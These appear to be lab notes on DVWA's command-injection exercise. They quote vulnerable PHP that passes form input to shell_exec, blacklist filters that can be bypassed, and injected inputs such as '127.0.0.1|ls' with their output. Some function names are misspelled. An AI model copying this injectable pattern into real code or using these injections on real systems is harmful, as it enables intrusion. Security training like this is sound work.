

commandInjection

Low

Vulnerability: Command Injection

Ping a device

Enter an IP address: 127.0.0.1

Submit

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.042 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.052 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.074 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.035 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.035/0.051/0.074/0.000 ms
```

we could

```
(root@kali)-[/Documents/dvwa/commandInjection]
# ping -c4 127.0.0.1; ls
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.046 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.051 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.051 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.053 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3058ms
rtt min/avg/max/mdev = 0.046/0.050/0.053/0.002 ms
commandInjection.ctb  commandInjection.ctb~  commandInjection.ctb~
```

Ping a device

Enter an IP address:

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.025 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.057 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.042 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.025/0.046/0.060/0.000 ms
help
index.php
source
```

vulnerabilities/exec/source/low.php

```
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( striistr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
```

Meduim

Ping a device

Enter an IP address:

Submit

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.022 ms
help
index.php
source
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.047 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.066 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.066 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.022/0.050/0.066/0.000 ms
```

Ping a device

Enter an IP address:

Submit

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.047 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.060 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.055 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.033/0.049/0.060/0.000 ms
help
index.php
source
```

Medium Command Injection Source

```
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';' => '',
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( striestr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
```

Hard

vulnerabilities/exec/source/high.php

```
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&' => '',
        ';' => '',
        '|' => '',
        '-' => '',
        '$' => '',
        '(' => '',
        ')' => '',
        '`' => '',
        '||' => '',
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stripos( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
```

```
(root@kali)-[/Documents/dvwa/commandInjection]
# echo $(ls)
commandInjection.ctb commandInjection.ctb~ commandInjection.ctb~ commandInjection.ctb~
```

```
(root@kali)-[/Documents/dvwa/commandInjection]
# `id`
uid=0(root): command not found
```

Ping a device

Enter an IP address: 127.0.0.1|ls

help
index.php
source

Impossible Command Injection Source

```
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octets
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( striistr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user know theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();
?>
```